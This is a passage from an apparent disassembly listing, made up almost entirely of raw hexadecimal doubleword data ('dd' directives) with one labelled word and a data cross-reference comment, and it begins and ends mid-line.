0F3720BCh dd 52D2F5EBh, 63F102DEh, 87CC888h, 9FE1C040h, 0BD80081h dd 9950F495h, 390008AFh, 214F25CFh, 2D6CBBDh, 0DABE77E9h dd 6CC4151Fh, 42545340h, 0BAE002ADh, 24583F18h, 39F0CC77h dd 4A60AA07h, 0BDBFFF87h, 80B0602h, 55B8E0C5h, 31E07B7Ah dd 8B68FE30h, 76540207h, 0D9134148h, 94D8C46Fh, 8973FF01h dd 0CBD043F5h, 4B00B438h, 2C72B72Bh, 9E0B4723h, 4B292CCh dd 0B253CA18h, 75140034h, 57484EDh, 7DE400AAh, 0B992960Dh dd 72512A18h, 502218h, 4C3C8E7Eh, 127CE90h, 3A7C3BFh, 0E63A5985h dd 0A04F2C54h, 0CF3DC60Eh, 0A86E0013h, 0EB4A6979h, 6500723Fh dd 0CC6B06FEh, 790A2F7Ch, 0B4781689h, 2D6022ABh, 10705411h dd 0AFF8864h, 716B7F00h, 0E0CADB36h, 0DA602875h, 0C44F4A98h dd 2982438h, 0FC0AF080h, 4210780Bh, 2045306Ah, 12BCEFEEh dd 887E65C1h, 5C842908h, 9E032477h, 20940455h, 901856E4h dd 3F5371C6h, 0FCDC2CFFh, 0F288E496h, 6890A08Ch, 0A52607A1h dd 6069CD0Dh, 0EDEB582Ah, 32E5C00h, 0F4528871h, 0ED9843h dd 0EBC493Ch, 2AC48264h, 0B8B25C00h, 61147069h, 0FD7617C3h dd 2990889Ah, 6E888h, 4BA2BDA5h, 0A4964FA0h, 0C4D60400h dd 0B7F9EC25h, 5E4102FDh, 0CCC5372h, 0C705C41h, 18DC5CD7h dd 525CA13h, 0E8F2DF3Ch, 30EC08Ch, 700CABh, 0ADBEB9FFh dd 698FC926h, 0CDEF270Fh, 5402F667h, 0F8022C6Ch, 0E9F73888h dd 5C00CC58h, 0C768F6FBh, 0DE0CD3D7h, 1869E29Dh, 0DF22394Ch dd 0BC391Fh, 0AE1EE7A6h, 67EE8B4Dh, 72001777h, 3419BB48h dd 64FFCC68h, 82F0994Ah, 21205D10h, 0BEF96C7h, 188F5311h dd 4E00E87Ah, 0C6712B7Eh, 31BF1306h, 0DB41FFE2h, 3AFC500Fh dd 9F985186h, 7D33E402h, 0DE653219h, 409EE068h, 3F01FEE5h dd 0ED35EA17h, 0CC605964h, 0C8AB04D4h, 0A4919D46h, 0DF50D7D8h dd 55268F0Ch, 0BC26E075h, 4098F862h, 1C59C78h, 0ACE4C6F2h dd 2FC9431Fh, 5C874028h, 20C8D850h, 0B4F8DF01h, 66C9E0CCh dd 9504CDF0h, 5293ACC5h, 12199088h, 40C0EEA4h, 0F7A92F96h dd 8007DE59h, 0A640252Bh, 0F600B8DAh, 6813BEF3h, 7B7703C3h dd 4395093h, 87E4B8CDh, 97C0515Dh, 0EEA88C1Eh, 7829F2BEh dd 4C494442h, 54109F8Eh, 0F203256Eh, 53FB66F5h, 99B0B77Dh dd 1A508D6Ch, 29207E27h, 0D6459C7Ch, 0EB3EB8E8h, 0AC832800h dd 0EDEEAA66h, 26909A03h, 0D2C05E8Fh, 7DB0C2FCh, 88156201h dd 7393C076h, 0EBE14500h, 4A24AC68h, 0E4BF2D0Ch, 39DB70E9h dd 458B0028h, 3F92B302h, 6B8700B2h, 4B7FD394h, 84BD5AD9h dd 0E720DC1Ch, 209F553Ah, 0D49C48F4h, 0D7BE0147h, 724DC1F7h dd 2DD5C417h, 7820385Ah, 5A91A9h, 94F78D2Ah, 0BC024483h dd 9D62D200h, 189AAA7Ch, 80A738B5h, 43003A3Eh, 289EAE78h dd 84B195FDh, 8C08C296h, 8CCE93AFh, 2B4C1980h, 9DC0D864h dd 8E0895Fh, 106581F0h, 0C7AFEBh, 0F15D9675h, 412539ADh dd 0F7902600h, 3A561FE1h, 968705BBh, 0A9CB13h, 0A8343B54h dd 450143EEh, 54A09F8Bh, 3E607A87h, 98964CC4h, 7ECD6203h dd 0C002B0A9h, 658A147Bh, 10E47176h, 457FC831h, 0F768CC3Dh dd 863FCC00h, 607F6FEBh, 0ABC43822h, 40A3E200h, 2382F38Ch dd 67153102h, 465CBCBEh, 3A0200F0h, 0F68BB453h, 3B4A4912h dd 1AB13820h, 0C9660E8Eh, 12835EEAh, 4988991Fh, 3AF41561h dd 5FE41C00h, 0DC0628A8h, 5E6AE457h, 0C5E04154h, 7138367Ah dd 0C1424255h, 0D41BA4E2h, 0CEB527A0h, 0F46C95h, 60C80FFCh dd 4A4C3E46h, 6A195407h, 0EB42CC8Eh, 51907CE0h, 748F0C47h dd 4090BC99h, 48E98662h, 0ACB958h, 0FC85079h, 0CD3B84h dd 11048FE3h, 0AF0CF62Eh, 0EEE6EA04h, 0A50753B8h, 0BBE2A4DAh dd 4420D41Eh, 9250FD11h, 0E50D5964h, 481B7177h, 9F5F9430h dd 6A402C98h, 20674A3Ch, 0EE6F14E7h, 7E0BDA80h, 340388F4h dd 4EA37DECh, 608942C0h, 90B52898h, 5DE758h, 1C987011h dd 4ED49206h dd 623A49B0h, 0BA360BF5h, 0DCA82EAh, 4D4741Dh, 13AE1F7Fh dd 664C8h, 2EA3D9FCh, 0CD3C39BFh, 9F86A112h, 9B7FC600h dd 923914Ah, 7456D56Dh, 14240869h, 764420ABh, 34012A13h dd 38E612DAh, 76702477h, 888D09A4h, 6004AD7Eh, 0D168491Bh dd 5C4AC98h, 696E7Ch, 266B0C88h, 0EC535CBEh, 10771160h dd 31374B78h, 0F1D60C44h, 0F4311474h, 0ABC0CCADh, 0E9311AC3h dd 0FCC08852h, 0E374454Eh, 796B9D04h, 7EC442EDh, 86FC80A1h dd 0C19F5B43h, 116035E4h, 907C7A65h, 92AFE3C7h, 0D4C82DDAh dd 18E6EB14h, 9B539401h, 216B5930h, 1174B889h, 4F50C8D4h dd 2C2300ABh, 0F7FEE7A1h, 0A7138814h, 0B48061EAh, 486EB3Fh dd 0C713AC6Ch, 7310ACB1h, 4B717903h, 0EE05BBF8h, 0A1781098h dd 0B5B80FADh, 0F3D0A0E6h, 189AECCBh, 881F0960h, 0B924A7E3h dd 0A0315C24h, 41001D38h, 0CB894BDh, 8233E138h, 4A4B7E23h dd 3100E0A9h, 0F62700E5h, 4EAC5CB7h, 0A32C88F8h, 0DB00FABDh dd 0C45D9D15h, 4801B54Fh, 844CD7CFh, 0C458C40h, 0E8FB0D02h dd 0C218280Ah, 7259319h, 49A8EF78h, 7560C397h, 7F10A98Eh dd 4000315Ah, 82EFD262h, 0B2752592h, 0F587AB0Ah, 0B50EF358h dd 0E6CBC614h, 1D7321E8h, 4435F708h, 80F33CACh, 544BC88h dd 84BB20A3h, 2BD6D404h, 2C79BE22h, 393180F8h, 0E681F0h dd 172FB36Fh, 0DB84AA38h, 434E9C12h, 5C007CA8h, 4C3CCE68h dd 802E6EE2h, 3F0EE954h, 0E1CD80E4h, 98A467B5h, 0B89B1030h dd 5FD91426h, 583908F8h, 0BCA0F04h, 0B4E1F960h, 8492BD40h dd 1FDD3512h, 0BC7F9C4Ch, 13022610h, 0E0500060h, 8871529h dd 84F420C0h, 0A7416686h, 0B818820h, 0B115CCC0h, 9CEC2641h dd 795C0960h, 62E5B418h, 0BC465302h, 70109AD4h, 5EB8B080h dd 28FC99C4h, 2D5E0008h, 0B4F02C06h, 0FF53702Eh, 60006862h dd 264E75E7h, 3201727Bh, 6A875048h, 20836124h, 818F5B52h dd 0BEDE500Bh, 737448D9h, 974C01F2h, 9331A8DDh, 3E1069DCh dd 91FA03F5h, 0B97EFB4Ah, 0B8409420h, 9472CDFh, 71ED0F42h dd 0D9720883h, 0BB2604E0h, 0A8F0542Eh, 96225B40h, 3E4900D4h dd 8A582F47h, 0B7031387h, 12F72685h, 4F9EB07Ah, 51730076h dd 0B9BAA643h, 0A800FE2Bh, 45813DE4h, 3E214088h, 3001584h dd 0D9769DF7h, 618A06DAh, 0E142F14h, 382C5594h, 2BFC7111h dd 643C30E1h, 6D37BB00h, 0DF01E0FEh, 0F92D1AEFh, 0E0D00887h dd 6CE98203h, 0F098D6D7h, 5C81BB7Dh, 0DA037A1Dh, 70C4BF93h dd 5E4460A8h, 0C0191362h, 4339E08Fh, 0D6F0005Fh, 0BAFDE732h dd 730F6633h, 0A040B5A0h, 9A2135AAh, 0D3990101h, 7BE5D7C2h dd 6918804Dh, 0F2B562FCh, 2D91E7Ch, 3945076Ch, 226580F5h dd 8106B2E5h, 0D99FE043h, 5DC60758h, 0A04C77C5h, 95C73534h dd 240C8530h, 60FE2EB2h, 8DF828A9h, 427CF171h, 295DBC0Ch dd 6CD99E2h, 1B2C69D6h, 1FB06847h, 0AD314E00h, 65025735h dd 78CF30E5h, 0DA72E3A0h, 5EE0441Dh, 5F3D4030h, 70026015h dd 986CCD87h, 8F588461h, 708CF0C9h, 47A8DFBEh, 6A745F0Fh dd 3A1017B9h, 0C8F80094h, 0A91917B2h, 601B60B6h, 4F2C6B33h dd 70483A50h, 0ED1DD443h, 0E50A60AFh, 0C0415E39h, 0ECFB5D00h dd 53A58DF7h, 4FC474EDh, 0FB383Ah, 0AAFC67F7h, 637CFD62h dd 0A21CB503h, 9B4D35A9h, 914806D8h, 0A9F1861Fh, 0FE0458D0h dd 60CE830Ch, 0DE1B9B10h, 8890B1ADh, 18662AE8h, 0B0677B9Ah dd 0A71E3F83h, 486D968h, 4428B0AEh, 0BE003C71h, 1062C812h dd 0F04AA34h, 7C50FAFh, 2C202A01h, 0DF6F30ACh, 281CAD3Ch dd 200A67Ch, 1D244712h, 12E91B75h, 0FA16F3h, 7DC2C9F3h dd 0A202E731h, 4309ADFDh, 0A4BA6038h, 58EA9Dh, 0BD1869C7h dd 0F198A881h, 19220300h, 3BC1E375h, 0D1A203DEh, 8F3A70A5h dd 0A0CE7A80h, 1C74F000h, 0F4E2B2BFh, 911000DDh, 58959BD4h dd 15007D5Ch, 0B338C698h, 6FC165h, 10537771h, 0B0740506h dd 70241C0Ah, 0B6039C38h, 0B8AA9B46h, 1E99046Fh, 405952D1h dd 0CDF72B5h, 1F0C747Ah, 0D188F9C1h, 0DB10C03Ah, 0CDE20491h dd 11660100h, 0BCEBCBC4h, 85AE0029h, 0F4FF8F06h, 6400B495h dd 1BD309C3h, 4F265h, 4E8846F3h, 458FDCCFh, 0DEA7A800h dd 5EB841A0h, 30280F48h, 833449FAh, 324E5500h, 0CDA1D0ABh dd 0CADB2F01h, 0B97DD68Eh, 35C4E8h, 29FC328Bh, 7A87D223h dd 7E555D03h, 0C71080BAh, 0EA371C41h, 0E3B1E4h, 5E65C69Bh dd 0F825CB94h, 58179800h, 7850A18Eh, 0ADA62F70h, 0DB0BD0E0h dd 75F4B4Ch, 0A2469B33h, 4211E020h, 71800766h, 80E147A1h dd 74965C3Ch, 0F9409805h, 54804C12h, 0C92605h, 0E1EF1CBCh dd 0BF0D3ECEh, 821DBD00h, 0E925F046h, 0B7CA0F06h, 0CCE01204h dd 29481EFEh, 26DF5604h, 0B38041A3h, 1198E0h, 7D1C9B51h dd 9A5A937Ch, 0FDB35400h, 31D46BF4h, 0E96300EDh, 471F2E6Eh dd 0C9006F81h, 71567AFFh, 0FAA6418Fh, 310E0003h, 16CDCFACh dd 0D8C07ED8h, 12F4D1A7h, 562D00BCh, 0F3CE1BF2h, 50F0BD13h dd 0C111F803h, 0E3550CEAh, 39E1C1FEh, 0B8CDE0h, 0DAE5F310h dd 0B9C31132h, 420886E6h, 1E7D9FCh, 0B8F6E883h, 137FC833h dd 4804A900h, 6352A156h, 2E0B00DDh, 3A9C28EBh, 1590CE26h dd 9004078h, 0D2DBB2F7h, 15DE8A4h, 7157BE87h, 409EAE26h dd 5E8018BFh, 0C7015C7Ch, 7B103FF5h, 299FDE04h, 0A6A1C9B9h dd 1C0AA400h, 70EBCB36h, 8D2669D6h, 70071064h, 82E7E913h dd 11F5C020h, 0FEEB00E1h, 1261CAC6h, 58C7E738h, 0D640C97Eh dd 337B9Bh, 0CB1AB76Ch, 0D93AC7BBh, 0F724E200h, 576953B3h dd 34B2A1h, 0F6EDF487h, 60DC0A86h, 298C3C0Fh, 0D000323Dh dd 9C081017h, 48FF6046h, 3FC6FD16h, 80ABA320h, 386C4794h dd 0A801A55h, 31706810h, 749A2BA7h, 0AA0C3600h, 8F768221h dd 8E97008Ch, 4C4B77F0h, 0BA242667h, 38009C37h, 41E819BFh dd 79010054h, 64330351h, 82184707h, 0DADE8F7Eh, 0DB780088h dd 9B436FD1h, 2750E06Ah, 0B039DF6h, 5D8F96C1h, 40F9B8A7h dd 997E0035h, 3BCE21E4h, 4D1E0860h, 540AD4Ch, 4A7B2E53h dd 8C79E6h, 376A246Ch, 5B8F5EC5h, 8E7C2B3Ch, 69261819h dd 0AB3C8032h, 3D8F792h, 0F817A6C3h, 0D19985E3h, 0FE1DE0B2h dd 0F187CD00h, 18C8ACAh, 0BE191EF3h, 40B29FE6h, 0B710DFFDh dd 0B1008450h, 6D0B8AD6h, 180CACA3h, 0D20ABB05h, 5C00B936h dd 0C210264Ah, 0EE9CB8EFh, 44C60069h, 47BE7A07h, 900D5A8h dd 4192B158h, 26EAC524h, 0B99BA4h, 205DB836h, 7C072EBDh dd 6BD455FAh, 23273310h, 0D7DB00C6h, 0F54483C8h, 0CD006AE9h dd 0D50F3F03h, 0ED860D30h, 0E2A430h, 0A3F5193Dh, 56434BEh dd 0F9D9EA00h, 99300443h, 5BD098A6h, 72AFC33h, 85F7378Eh dd 9C2A45B0h, 0DC762404h, 3E638B5Ch, 0FEDCE38Eh, 19A34700h dd 90BABBC6h, 68091200h, 0E00A3BEFh, 56083833h, 300E1C4Ch dd 4B009CDCh, 2DCF0104h, 8252C909h, 0F2108066h, 0F4EF23h dd 7CBACA16h, 27FE90D5h, 9D7B4C03h, 98D8AD47h, 1E7EC620h dd 409B4B9Ah, 879E8375h, 7C006EE7h, 1804FB48h, 8179ABh dd 5D0FB303h, 6A88C246h, 54ED4507h, 0A0708DD3h, 39E059B0h dd 0C1000838h, 2CB7EB15h, 22009293h, 0BF4D132Dh, 0DA49DEh dd 73CA6639h, 5A9DED5Fh, 41BA39h, 7F06D845h, 0F390968h dd 0C9A13127h, 5BB65E21h dd 0E5C22084h, 0A085FF00h, 1D275C03h, 2EE97428h, 8014DD16h dd 0AEC8940Ah, 0AC006D59h, 9596318Eh, 704F48h, 8D36831Fh dd 73579F8Ch, 28ACB203h, 885B8081h, 2CA7B576h, 188F2Ch dd 1B07151h, 0B70B86F0h, 0A0369EEFh, 7E47B848h, 97FDEF61h dd 0B8F91BC0h, 0F8BA0184h, 0AC4E025Eh, 18109070h, 4A139E03h dd 2017C0E0h, 6440F65Bh, 14C5B233h, 3CE20057h, 7E49B8DEh dd 1004E63h, 6A3A1FC4h, 0A86BCB5h, 0F55B1C6Ch, 18E5171Ch dd 5E61F11Dh, 90D788CCh, 30595488h, 21FD2E4Dh, 0BF7F017Ch dd 71AADFEBh, 12355088h, 471EF5B5h, 27C0CC97h, 164BA34Fh dd 49FF3F7Bh, 0F46F3FF2h, 0EBA78680h, 81138CEDh, 0B8A6B600h dd 3635BC0Eh, 7E571612h, 5317000Ch, 40D3B50Bh, 307AD41Dh dd 0FBD25E1Fh, 0BFBE0B1Ch, 3B110F71h, 728D407Ch, 7D239Ch dd 8E4A6A53h, 0D09A394Bh, 26571300h, 5673D22Dh, 61B900E9h dd 47CD5876h, 71FC0CB3h, 6BBA8D00h, 544D0E68h, 79C4EA4Fh dd 7CFD0484h, 0A08BCD65h, 2B77E7D4h, 6C67B900h, 1A5F43E3h dd 0A89CABADh, 39D5ABh, 3AE52F01h, 1F64C1C0h, 0EACCAC05h dd 0AE805597h, 94495F3Bh, 0C1B712ECh, 0C0E49577h, 2E028A71h dd 0F55899FDh, 3954527Ch, 42B0CE0Bh, 672D5780h, 7CF63204h dd 90B03983h, 0D85E00B4h, 0EA6D9CA6h, 0C0C0684h, 48484DCEh dd 9BC500D9h, 0CC35A9A4h, 1A2AF170h, 63FE862h, 6C930194h dd 0E537BCF5h, 0F20825CFh, 8B1FC400h, 0F611709Bh, 401D8C3h dd 0A1CD5732h, 0D260AC61h, 9D6E4903h, 0A7E788FBh, 0D9BC0030h dd 350EF485h, 0EA608FF6h, 0A26B226h, 0A8B902CCh, 6469637Ah dd 25D6F460h, 0DD336E0Fh, 0FD0C608Ch, 3A2F73h, 463CDE94h dd 4132C9B6h, 0FFCC7E00h, 0B85855E6h, 7DA70062h, 3BD8478Fh dd 747D4C02h, 0CB9B8E28h, 887ECA00h, 8176DC14h, 802500B2h dd 6D231D8Fh, 386D5584h, 0B1030831h, 0BD100116h, 4F5C44FDh dd 4DACCC5Fh, 72CAD48h, 0B52010Ah, 0F102F0C0h, 894431BCh dd 11A94829h, 2C20708h, 0C22C543h, 21F4248Eh, 271212B9h dd 898CB410h, 84220820h, 51C49B22h, 0EC3128EFh, 11B52988h dd 0C0847F90h, 42B84890h, 73241E87h, 0D043BD40h, 811E242Ch dd 0D7EE0C6Eh, 25290Fh, 0EDBA0668h, 9DB20084h, 0A9D698EBh dd 0BF00A44Bh, 0E78BEEC0h, 6B5622h, 1EF3C1CCh, 8E87140Ch dd 21BA2000h, 42EB8D4h, 0C64D1E6Ah, 0F97D6A7h, 0A823D1B2h dd 7CC0C81Eh, 6407CCDDh, 0FB93F8E7h, 57797AA0h, 0E31C0014h dd 678B0BF5h, 6C005613h, 4DA8ABD4h, 0C4C76Eh, 3848EABFh dd 59B3F637h, 260FCDE0h, 80180EE0h, 0FA0C8B77h, 74190C22h dd 3658C916h, 0F43A2800h, 182AD4B3h, 3DB03888h, 8633900h dd 20418948h, 0FDBED800h, 0C04295B8h, 4EE3007Dh, 0EFA01AE1h dd 1E0E9F26h, 0E0362501h, 5D1354AEh, 26D2E638h, 125C7588h dd 9E2C5D40h, 980D8191h, 872AC197h, 0E94E360h, 790F1700h dd 6A41056Bh, 0C3C9156Fh, 598881A5h, 0A0000338h, 9974B666h dd 13E1A3Fh, 48936769h, 0E8C7D6E0h, 0DF46DCAh, 0C11E6092h dd 5000042Dh, 0D21DBC1Eh, 1207F42h, 0F9E79B61h, 308C7EC1h dd 0C7EC9FC9h, 4A62BA02h, 4055CC2Bh, 5DB133h, 0FFC4A349h dd 4F8816E7h, 0C032CB00h, 39952EEFh, 0DAD3D71h, 0F8314C01h dd 0DD2877A0h, 1D9AF8CDh, 0C446C70Fh, 0E6B84321h, 0F955C10Eh dd 11971180h, 0AD504BBFh, 3C7B3890h, 57A08700h, 7403E088h dd 1CD7005Dh, 0EAA434F7h, 0AF00BC68h, 3870A11Eh, 8AFFE2h dd 8817F156h, 45660C51h, 4E609E72h, 8F016040h, 163A01ACh dd 1DF9D256h, 91C0D329h, 5001CC39h, 0FDD6443h, 7AC88C75h dd 67EC2861h, 0ABF5009Ch, 580DCA4Fh, 0EF002A2Fh, 1CFF5132h dd 73DC3557h, 0F84A1FF7h, 9A1F94h, 689F8F24h, 96003AFEh dd 28911C30h, 0FC37FD66h, 6AC500DEh, 1177540Fh, 0F8BF6253h dd 0EADA0E6Eh, 4E809978h, 0B36A194Ch, 409E6905h, 79C3EEA3h dd 0FD28A8D2h, 0E7B70066h, 51C93CFCh, 0F512BF70h, 1C002C29h dd 5D0E570Ah, 0F87B016Ch, 619988DCh, 0EFBBC37Ah, 0E1655FD8h dd 807FFF38h, 17BC9DF5h, 1886BFE0h, 119BF397h, 0B000ADB8h dd 521628BDh, 0FDAF2Dh, 8CFB4689h, 6D3BC839h, 8C6F4Dh dd 117B3CAAh, 1FCBB12h, 0E03E292h, 0DCE95DF7h, 0C201DB7Ch dd 0C44C76B1h, 79E45448h, 80F00F2h, 94AF58A8h, 9E002EF7h dd 0E33DD320h, 7CE097Fh, 0CD9B2945h, 36605016h, 0FB38CA17h dd 4338F6Dh, 9F0032B0h, 9722DC34h, 7F5D003Dh, 0E689D931h dd 350B9CF4h, 80B1AA13h, 2B5C1563h, 0DE450038h, 9C086A7h dd 4A7FE43Eh, 4F17A800h, 127AD81Ah, 0E20E00C7h, 10C35BA7h dd 0BF0030F1h, 0D6BEEAE8h, 1DDEBA1Dh, 5CCF8FEh, 585753h dd 0FF444280h, 56007B0Bh, 34A6AE1Dh, 0EB0904h, 0B3642754h dd 7401C9F0h, 3BD61507h, 4E803892h, 0DE5543h, 0C237E728h dd 5358783Fh, 0ECDCF626h, 38D0A100h, 26A39C3h, 0C9F931CAh dd 506806A2h, 95005766h, 259ABAFFh, 21728DDh, 0A7086A93h dd 1562B553h, 0A0E70F5Dh, 0E76EFA1Fh, 0FC76DEh, 927AE1A7h dd 51CDE4B8h, 561BB900h, 4C4A6CEDh, 0A6DD0FF2h, 7CC442B6h dd 0CBCC807Ah, 140787B2h, 181E5CC5h, 6F26BF61h, 4F9E930h dd 9AEFB529h, 48F48583h, 0CD4089F0h, 0D00899h, 0CBA16F15h dd 344D61BBh, 4746C300h, 0CEC0A321h, 2F501E25h, 0A2544375h dd 93D8DD15h, 9C0001BBh, 0B5EAF9C7h, 0FDF5BCAh, 303FAD80h dd 37B90AA0h, 6709BBA4h, 8054C259h, 0CE183D70h, 98CA00EEh dd 0FFE815DAh, 9B0EC672h, 807A5173h, 5307CBA2h, 0E26EE819h dd 0CE250049h, 5D914ACAh, 9400F1EAh, 90F333FCh, 213773Bh dd 52FF1CFEh, 0DC60399Dh, 498881BEh, 497C7B19h, 0AE03DC8Ch dd 9A9F8225h, 5541113h, 6B4C4001h, 0C8412B8Ch, 19C8AEA8h dd 397E0093h, 108185DDh, 0FA1C532Eh, 0D7408946h, 0D2C5EF6h dd 4FB43F69h, 9013A8h, 8564262h, 35DD1E36h, 1C720A7Eh dd 3201397Dh, 26D88E5Ah, 0F6C44C5Fh, 359201E6h, 49F90F79h dd 618ECC9Eh, 0F20E5500h, 0D8C99180h, 84A100C6h, 0CB32B0EFh dd 8BF89865h, 4C8FA758h, 568048Eh, 0F4812F76h, 9C51CAB4h dd 10D1456Ah, 33F2DD0h, 0F0710F0Ah, 0EEA0AC11h, 0B600A16Eh dd 0E06C1E5Eh, 1993FFh, 6BD544B4h, 5D697F36h, 593B8600h dd 9F6FCD4Dh, 0B63500E6h db 0A4h, 0A6h word_544F42 dw 92D6h ; DATA XREF: ___:off_4374C0o dd 6309C41Eh, 0A012D9B0h, 0EE31EA30h, 23CB021Bh, 903AFD70h dd 2D7EB0A0h, 4A00A135h, 7CD0BF1h, 0DF4160h, 0E6DC4769h dd 9B9CC8F7h, 0A3191C0Bh, 72DC1043h, 75E4007Ch, 51E23110h dd 0D200F0A5h, 9307747h, 0FBD494h, 7E988BAAh, 743A6DCBh dd 305048h, 2E465FD8h, 18761CDDh, 0F8F5027Fh, 9E78220Ah dd 706FF300h, 18758EECh, 6EEF26E0h, 0A39F000Bh, 2F040A1Eh dd 51C5FA00h, 6F489A96h, 43550383h, 0CCCFD013h, 7B11FCC8h dd 8040B438h, 980B1B32h, 0A5C419h, 9F42724Bh, 41CECA64h dd 1A38FD00h, 23758FEh, 7A0E3B53h, 54A49FBDh, 40A61DA4h dd 0DED0D114h, 0BDF89687h, 59FC2700h, 0FA3C7ED3h, 9BA30057h dd 0AF71F866h, 0F903F6D8h, 8D6FDEEEh, 88F0005Bh, 390F348Bh dd 2300D1D9h, 0C2297A8Eh, 0FBDA32h, 0DE7D9825h, 0CDD9F9FFh dd 9175C100h, 2E9EE072h, 82B400D8h, 0A2CF6B8Ah, 59005D2Bh dd 1EC67152h, 1D91585h, 0C2CC3E23h, 0E8218D9Ah, 0A407E57Fh dd 342EE14h, 643F7A40h, 237100ADh, 670C2120h, 0E607C0A6h dd 0E8173A4Ah, 3FC08E27h, 0C8F819h, 228A6998h, 40B0E02Fh dd 0E13E3698h, 0D2978191h, 0C059B8C9h, 0E8FD7060h, 0CB7ED3h dd 37F51029h, 1673650Dh, 0AA09F100h, 7517657h, 0E2C30E1Dh dd 9460D25Ch, 8727D8C4h, 0CD2BDF18h, 3D159719h, 0A9003FEDh dd 0E3ADB2BDh, 0A27D3052h, 6A2F4B00h, 62D09CA7h, 40F50E8Fh dd 0B3403D56h, 8E9108AFh, 8330BAA0h, 0D6C0750Eh, 221A4931h dd 0C868727Ch, 55229F4h, 136BF04Bh, 6F0083C6h, 0BE1AC4D8h dd 0ABF3E007h, 55D049B2h, 48C0DFA8h, 0B326EAC8h, 12FC3F28h dd 0C2F7ABA4h, 80669264h, 7D553E20h, 0FDCF00BCh, 0AE511B67h dd 0FF1FAC2Ch, 0DA66EA73h, 305A01Fh, 0A8005F89h, 9DB80599h dd 58BE03DBh, 3F5E1CBCh, 4E8F99Ah, 0C1037E95h, 6862E93Ah dd 558B6Ah, 94AEC6D0h, 72C0DE38h, 0DFFB9A03h, 0C0CF3591h dd 0FB75907Ch, 0F8B71C20h, 85F08Ah, 2673AD1Ch, 2A8D82F9h dd 0E5370D00h, 6207EACAh, 0AFB62C01h, 0A7940594h, 0EA6C449Eh dd 5B4A0045h, 331301h, 0ED4F9D7Dh, 0E76BBF09h, 86056098h dd 3444D0EBh, 2EEFD003h, 23B6808Ch, 980C00DBh, 0E5A53F9Eh dd 263BAC4Dh, 88860035h, 6FFC4B56h, 7AC31F5Fh, 0CE59C00Ch dd 0A75EB179h, 0B9B67105h, 0B380E96Ah, 0A36603h, 2E70EC0Ah dd 0C63EAF2h, 0AA7E2DFCh, 4B01367Fh, 9124F1B6h, 0E7C4DA77h dd 0EF5800D6h, 54B45037h, 0D8006DA1h, 0CBB763BEh, 17DB0BABh dd 1B666Fh, 1FC63EE7h, 6D0E5EEEh, 0C0A9C909h, 29118E87h dd 7B401FD6h, 0F18040C5h, 99E24F34h, 7E002FF0h, 22B5BE43h dd 7A688F3h, 93AC04F6h, 84C1A0FCh, 0A0593F80h, 0A8D907A8h dd 803E28E9h, 0BDF836A6h, 1277E8ACh, 2D9A90h, 7F2BC33Fh dd 0F7909B1Fh, 16A248h, 93B8A90Eh, 9DDD9FAh, 0DAD3CDF1h dd 3D521100h, 10C07194h, 3459C049h, 99FB00B9h, 0BD6A6E57h dd 0CA09CCEBh, 80D33D9Ah, 0DABAB402h, 20650218h, 933789BFh dd 0F138B680h, 3548969Ah, 311800FFh, 0F2145563h, 0E0AD0302h dd 0F1B42844h, 7B16D9C0h, 198DAC31h, 58802AAFh, 272D9285h dd 0D90072B6h, 8EDF8F74h, 73829E7Dh, 0A100B8D3h, 3987EF28h dd 0D0144F4Dh, 347F961Bh, 24CAD75Ch, 8F01B568h, 3F41DF93h dd 783660E0h, 0C6FE00F2h, 951EAACh, 9D3D3280h, 6D3180CFh dd 0E9AACD48h, 23470050h, 0A1C12BE1h, 26006A8Ch, 0E0EA6D80h dd 0B12E8Eh, 5F139A0Dh, 17F0BA7h, 4F062B00h, 16E3E80Eh dd 3CFED1h, 7CC14DA4h, 659CEF79h, 214A9602h, 0E1BDE883h dd 188077EAh, 26DFB891h, 0BB7B6FBAh, 7C3ECF0Eh, 1F84A054h dd 1F12EB6Dh, 5EDB1BD4h, 0D8FBC02Ch, 750D6815h, 0DC264800h dd 0CCE2A81Fh, 1C6400F4h, 8CB773E6h, 0CF24F1E3h, 3407C2EFh dd 0C5308E08h, 0C76440h, 654ABAAh, 8607B66Ah, 482E7D07h dd 110A4FBh, 438BF1h, 7264506Fh, 0BD161D13h, 296BFC00h dd 0D7BE96D9h, 62120045h, 0CC4B98A3h, 25024328h, 0AEC3EB11h dd 90C4E987h, 20A072FEh, 1B002F89h, 47CD2E7Eh, 35F5E46h dd 59B2861Eh, 0A081F29Eh, 0BD0460E3h, 0BB81801Fh, 88AAF9C0h dd 3E61F1h, 0D48D6736h, 0EC7471CCh, 77581F90h, 4DE300E8h dd 0F63763CAh, 789884h, 1C19397Ch, 20732DA8h, 48AB0600h dd 3E97104Eh, 64FE05CFh, 0C3EC5071h, 32C80E14h, 0EA1221D6h dd 19004058h, 55B6DAF4h, 0D55914F2h, 1703B5E8h, 9D79A876h dd 0FE0DC9A1h, 0FE28E4E0h, 0C28F610Fh, 2FE6A2B1h, 982CC32Eh dd 18740EDFh, 0D8E22881h, 0FA00F747h, 3943C55Dh, 3F0CA6CCh dd 7C806983h, 9F28F80h, 0CE049884h, 44919E86h, 91EF10F0h dd 54D807F8h, 0C4C405ADh, 3E28C137h, 2910048h, 0D09E03B5h dd 10EE41C8h, 6BE068DAh, 0F959A6A5h, 0BEBF1434h, 191300FEh dd 92BC30E0h, 42749EC2h, 0A3070201h, 842552F0h, 0D79303A1h dd 0BDB694F1h, 6ADBC0DFh, 8500CED9h, 5E143C07h, 0E7200390h dd 19BCAECh, 3B62BDF4h, 804F66DDh, 1BC36078h, 0F810F8C7h dd 0F226009Dh, 11097A52h, 30079F05h, 717957F5h, 142B80BEh dd 0F68859B9h, 5CE00F15h, 37A0B219h, 7FC512FAh, 6E58BA00h dd 313D8520h, 0DF19018Dh, 0D66273C2h, 368C4EBh, 0F0DE9400h dd 58CF841Eh, 358B804h, 4057A7B6h, 0A4D88A22h, 7007FF0h dd 0D2B26E23h, 0E6BC6BC8h, 0D52C008Bh, 0D6BFDA6Fh, 5A00ACEAh dd 0A2996DC3h, 1B2CB6Ch, 24487D21h, 0C8D29AE9h, 0FD7E1251h dd 34DD9D00h, 234278BFh, 0EC5F00A2h, 38CE63C5h, 94000FF7h dd 0D647BD9h, 0CC41B6BEh, 6DC21AC4h, 48C0DD05h, 0D40301C3h dd 0FBD46FCAh, 8072F310h, 3CD346B0h, 6C00111Dh, 0C8E9C60Ah dd 98002926h, 0B116723Ch, 0ED9B56h, 0FF835FE4h, 818FFDBAh dd 6D78A00h, 76DC940h, 5B6500D6h, 73D49CBBh, 8700C0C6h dd 4610AA19h, 6F2A15h, 0F41F2FECh, 0C656C2AFh, 28D91101h dd 